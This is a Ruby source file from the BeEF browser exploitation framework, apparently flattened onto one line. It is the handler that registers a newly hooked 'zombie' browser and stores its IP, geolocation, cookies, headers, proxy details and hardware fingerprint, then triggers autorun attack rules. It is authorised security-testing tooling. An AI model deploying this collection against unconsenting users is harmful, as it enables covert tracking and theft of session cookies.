# # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Handlers # @note Retrieves information about the browser (type, version, plugins etc.) class BrowserDetails @data = {} HB = BeEF::Core::Models::HookedBrowser BD = BeEF::Core::Models::BrowserDetails def initialize(data) @data = data setup end def err_msg(error) print_error "[Browser Details] #{error}" end def setup print_debug '[INIT] Processing Browser Details...' config = BeEF::Core::Configuration.instance # validate hook session value session_id = get_param(@data, 'beefhook') print_debug "[INIT] Processing Browser Details for session #{session_id}" unless BeEF::Filters.is_valid_hook_session_id?(session_id) err_msg 'session id is invalid' return end hooked_browser = HB.where(session: session_id).first return unless hooked_browser.nil? # browser is already registered with framework # create the structure representing the hooked browser zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id) zombie.firstseen = Time.new.to_i # hooked window host name log_zombie_port = 0 if !@data['results']['browser.window.hostname'].nil? log_zombie_domain = @data['results']['browser.window.hostname'] elsif !@data['request'].referer.nil? and !@data['request'].referer.empty? referer = @data['request'].referer log_zombie_port = if referer.start_with?('https://') 443 else 80 end log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0] else log_zombie_domain = 'unknown' # Probably local file open end # hooked window host port if @data['results']['browser.window.hostport'].nil? log_zombie_domain_parts = log_zombie_domain.split(':') log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1 else log_zombie_port = @data['results']['browser.window.hostport'] end zombie.domain = log_zombie_domain zombie.port = log_zombie_port # Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( @http_headers = {} http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' } .each do |key, value| @http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') end zombie.httpheaders = @http_headers.to_json zombie.save! # print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}" # add a log entry for the newly hooked browser BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}", zombie.id.to_s) # get and store browser name browser_name = get_param(@data['results'], 'browser.name') if BeEF::Filters.is_valid_browsername?(browser_name) BD.set(session_id, 'browser.name', browser_name) # lookup and store browser friendly name browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name) BD.set(session_id, 'browser.name.friendly', browser_friendly_name) else err_msg "Invalid browser name returned from the hook browser's initial connection." end if BeEF::Filters.is_valid_ip?(zombie.ip) BD.set(session_id, 'network.ipaddress', zombie.ip) else err_msg "Invalid IP address returned from the hook browser's initial connection." end # lookup zombie host name if config.get('beef.dns_hostname_lookup') begin host_name = Resolv.getname(zombie.ip).to_s BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name) rescue StandardError print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'" end end # geolocation BD.set(session_id, 'location.city', 'Unknown') BD.set(session_id, 'location.country', 'Unknown') if BeEF::Core::GeoIp.instance.enabled? geoip = BeEF::Core::GeoIp.instance.lookup(zombie.ip) if geoip.nil? print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'" else # print_debug "[INIT] Geolocation results: #{geoip}" BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", zombie.id.to_s) BD.set( session_id, 'location.city', (begin geoip['city']['names']['en'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.country', (begin geoip['country']['names']['en'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.country.isocode', (begin geoip['country']['iso_code'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.country.registered_country', (begin geoip['registered_country']['names']['en'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.country.registered_country.isocode', (begin geoip['registered_country']['iso_code'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.continent', (begin geoip['continent']['names']['en'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.continent.code', (begin geoip['continent']['code'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.latitude', (begin geoip['location']['latitude'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.longitude', (begin geoip['location']['longitude'] rescue StandardError 'Unknown' end).to_s ) BD.set( session_id, 'location.timezone', (begin geoip['location']['time_zone'] rescue StandardError 'Unknown' end).to_s ) end end # detect browser proxy using_proxy = false %w[ CLIENT_IP FORWARDED_FOR FORWARDED FORWARDED_FOR_IP PROXY_CONNECTION PROXY_AUTHENTICATE X_FORWARDED X_FORWARDED_FOR VIA ].each do |header| unless JSON.parse(zombie.httpheaders)[header].nil? using_proxy = true break end end # retrieve proxy client IP proxy_clients = [] %w[ CLIENT_IP FORWARDED_FOR FORWARDED FORWARDED_FOR_IP X_FORWARDED X_FORWARDED_FOR ].each do |header| proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? end # retrieve proxy server proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil? # store and log proxy details if using_proxy == true BD.set(session_id, 'network.proxy', 'Yes') proxy_log_string = "#{zombie.ip} is using a proxy" unless proxy_clients.empty? BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s) proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]" end unless proxy_server.nil? BD.set(session_id, 'network.proxy.server', proxy_server.to_s) proxy_log_string += " [server: #{proxy_server}]" if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\d.]+):(\d+)$/) print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy') end end BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s) end # get and store browser version browser_version = get_param(@data['results'], 'browser.version') if BeEF::Filters.is_valid_browserversion?(browser_version) BD.set(session_id, 'browser.version', browser_version) else err_msg "Invalid browser version returned from the hook browser's initial connection." end # get and store browser string browser_string = get_param(@data['results'], 'browser.name.reported') if BeEF::Filters.is_valid_browserstring?(browser_string) BD.set(session_id, 'browser.name.reported', browser_string) else err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection." end # get and store browser engine browser_engine = get_param(@data['results'], 'browser.engine') if BeEF::Filters.is_valid_browserstring?(browser_engine) BD.set(session_id, 'browser.engine', browser_engine) else err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection." end # get and store browser language browser_lang = get_param(@data['results'], 'browser.language') BD.set(session_id, 'browser.language', browser_lang) # get and store the cookies cookies = get_param(@data['results'], 'browser.window.cookies') if BeEF::Filters.is_valid_cookies?(cookies) BD.set(session_id, 'browser.window.cookies', cookies) else err_msg "Invalid cookies returned from the hook browser's initial connection." end # get and store the OS name os_name = get_param(@data['results'], 'host.os.name') if BeEF::Filters.is_valid_osname?(os_name) BD.set(session_id, 'host.os.name', os_name) else err_msg "Invalid operating system name returned from the hook browser's initial connection." end # get and store the OS family os_family = get_param(@data['results'], 'host.os.family') if BeEF::Filters.is_valid_osname?(os_family) BD.set(session_id, 'host.os.family', os_family) else err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection." end # get and store the OS version # - without checks as it can be very different, for instance on linux/bsd) os_version = get_param(@data['results'], 'host.os.version') BD.set(session_id, 'host.os.version', os_version) # get and store the OS arch - without checks os_arch = get_param(@data['results'], 'host.os.arch') BD.set(session_id, 'host.os.arch', os_arch) # get and store default browser default_browser = get_param(@data['results'], 'host.software.defaultbrowser') BD.set(session_id, 'host.software.defaultbrowser', default_browser) # get and store the hardware type hw_type = get_param(@data['results'], 'hardware.type') if BeEF::Filters.is_valid_hwname?(hw_type) BD.set(session_id, 'hardware.type', hw_type) else err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection." end # get and store the date date_stamp = get_param(@data['results'], 'browser.date.datestamp') if BeEF::Filters.is_valid_date_stamp?(date_stamp) BD.set(session_id, 'browser.date.datestamp', date_stamp) else err_msg "Invalid date returned from the hook browser's initial connection." end # get and store page title page_title = get_param(@data['results'], 'browser.window.title') if BeEF::Filters.is_valid_pagetitle?(page_title) BD.set(session_id, 'browser.window.title', page_title) else err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection." end # get and store page origin origin = get_param(@data['results'], 'browser.window.origin') if BeEF::Filters.is_valid_url?(origin) BD.set(session_id, 'browser.window.origin', origin) else err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store page uri page_uri = get_param(@data['results'], 'browser.window.uri') if BeEF::Filters.is_valid_url?(page_uri) BD.set(session_id, 'browser.window.uri', page_uri) else err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store the page referrer page_referrer = get_param(@data['results'], 'browser.window.referrer') if BeEF::Filters.is_valid_pagereferrer?(page_referrer) BD.set(session_id, 'browser.window.referrer', page_referrer) else err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection." end # get and store hooked window host port host_name = get_param(@data['results'], 'browser.window.hostname') if BeEF::Filters.is_valid_hostname?(host_name) BD.set(session_id, 'browser.window.hostname', host_name) else err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection." end # get and store hooked window host port host_port = get_param(@data['results'], 'browser.window.hostport') if BeEF::Filters.is_valid_port?(host_port) BD.set(session_id, 'browser.window.hostport', host_port) else err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection." end # get and store the browser plugins browser_plugins = get_param(@data['results'], 'browser.plugins') if BeEF::Filters.is_valid_browser_plugins?(browser_plugins) BD.set(session_id, 'browser.plugins', browser_plugins) elsif browser_plugins == "[]" err_msg "No browser plugins detected." else err_msg "Invalid browser plugins returned from the hook browser's initial connection." end # get and store the system platform system_platform = get_param(@data['results'], 'browser.platform') if BeEF::Filters.is_valid_system_platform?(system_platform) BD.set(session_id, 'browser.platform', system_platform) else err_msg "Invalid browser platform returned from the hook browser's initial connection." end # get and store the zombie screen color depth screen_colordepth = get_param(@data['results'], 'hardware.screen.colordepth') if BeEF::Filters.nums_only?(screen_colordepth) BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth) else err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection." end # get and store the zombie screen width screen_size_width = get_param(@data['results'], 'hardware.screen.size.width') if BeEF::Filters.nums_only?(screen_size_width) BD.set(session_id, 'hardware.screen.size.width', screen_size_width) else err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection." end # get and store the zombie screen height screen_size_height = get_param(@data['results'], 'hardware.screen.size.height') if BeEF::Filters.nums_only?(screen_size_height) BD.set(session_id, 'hardware.screen.size.height', screen_size_height) else err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection." end # get and store the window height window_height = get_param(@data['results'], 'browser.window.size.height') if BeEF::Filters.nums_only?(window_height) BD.set(session_id, 'browser.window.size.height', window_height) else err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection." end # get and store the window width window_width = get_param(@data['results'], 'browser.window.size.width') if BeEF::Filters.nums_only?(window_width) BD.set(session_id, 'browser.window.size.width', window_width) else err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection." end # store and log IP details of host print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]") if !os_name.nil? and !os_version.nil? BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version) elsif !os_name.nil? BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name) else BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host') end # get and store the yes|no value for browser capabilities capabilities = [ 'browser.capabilities.vbscript', # 'browser.capabilities.java', 'browser.capabilities.flash', 'browser.capabilities.silverlight', 'browser.capabilities.phonegap', 'browser.capabilities.googlegears', 'browser.capabilities.activex', 'browser.capabilities.quicktime', 'browser.capabilities.realplayer', 'browser.capabilities.wmp', 'browser.capabilities.vlc', 'browser.capabilities.webworker', 'browser.capabilities.websocket', 'browser.capabilities.webgl', 'browser.capabilities.webrtc' ] capabilities.each do |k| v = get_param(@data['results'], k) if BeEF::Filters.is_valid_yes_no?(v) BD.set(session_id, k, v) else err_msg "Invalid value for #{k} returned from the hook browser's initial connection." end end # get and store the value for hardware.memory memory = get_param(@data['results'], 'hardware.memory') if BeEF::Filters.is_valid_memory?(memory) BD.set(session_id, 'hardware.memory', memory) else err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu gpu = get_param(@data['results'], 'hardware.gpu') if BeEF::Filters.is_valid_gpu?(gpu) BD.set(session_id, 'hardware.gpu', gpu) else err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu.vendor gpu_vendor = get_param(@data['results'], 'hardware.gpu.vendor') if BeEF::Filters.is_valid_gpu?(gpu_vendor) BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor) else err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.arch cpu_arch = get_param(@data['results'], 'hardware.cpu.arch') if BeEF::Filters.is_valid_cpu?(cpu_arch) BD.set(session_id, 'hardware.cpu.arch', cpu_arch) else err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.cores cpu_cores = get_param(@data['results'], 'hardware.cpu.cores') if BeEF::Filters.alphanums_only?(cpu_cores) BD.set(session_id, 'hardware.cpu.cores', cpu_cores) else err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection." end # get and store the value for hardware.battery.level battery_level = get_param(@data['results'], 'hardware.battery.level') if battery_level == 'unknown' || battery_level =~ /\A[\d.]+%\z/ BD.set(session_id, 'hardware.battery.level', battery_level) else err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection." end # get and store the value for hardware.screen.touchenabled touch_enabled = get_param(@data['results'], 'hardware.screen.touchenabled') if BeEF::Filters.is_valid_yes_no?(touch_enabled) BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled) else err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection." end # log a few info of newly hooked zombie in the console print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked origin [#{log_zombie_domain}:#{log_zombie_port}]" # add localhost as network host if config.get('beef.extension.network.enable') print_debug('Hooked browser has network interface 127.0.0.1') BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost', os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) end # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel # is WebSockets, then ARe rules are triggered after channel is established. BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(zombie.id) unless config.get('beef.http.websocket.enable') end def get_param(query, key) (query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil end end end end end